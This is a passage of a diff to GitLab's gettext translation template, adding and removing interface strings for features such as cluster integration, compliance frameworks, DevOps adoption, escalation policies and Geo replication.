@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
